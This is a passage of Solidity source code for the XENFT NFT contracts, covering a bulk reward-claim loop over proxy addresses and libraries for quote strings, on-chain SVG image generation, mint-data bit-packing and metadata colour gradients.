callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n 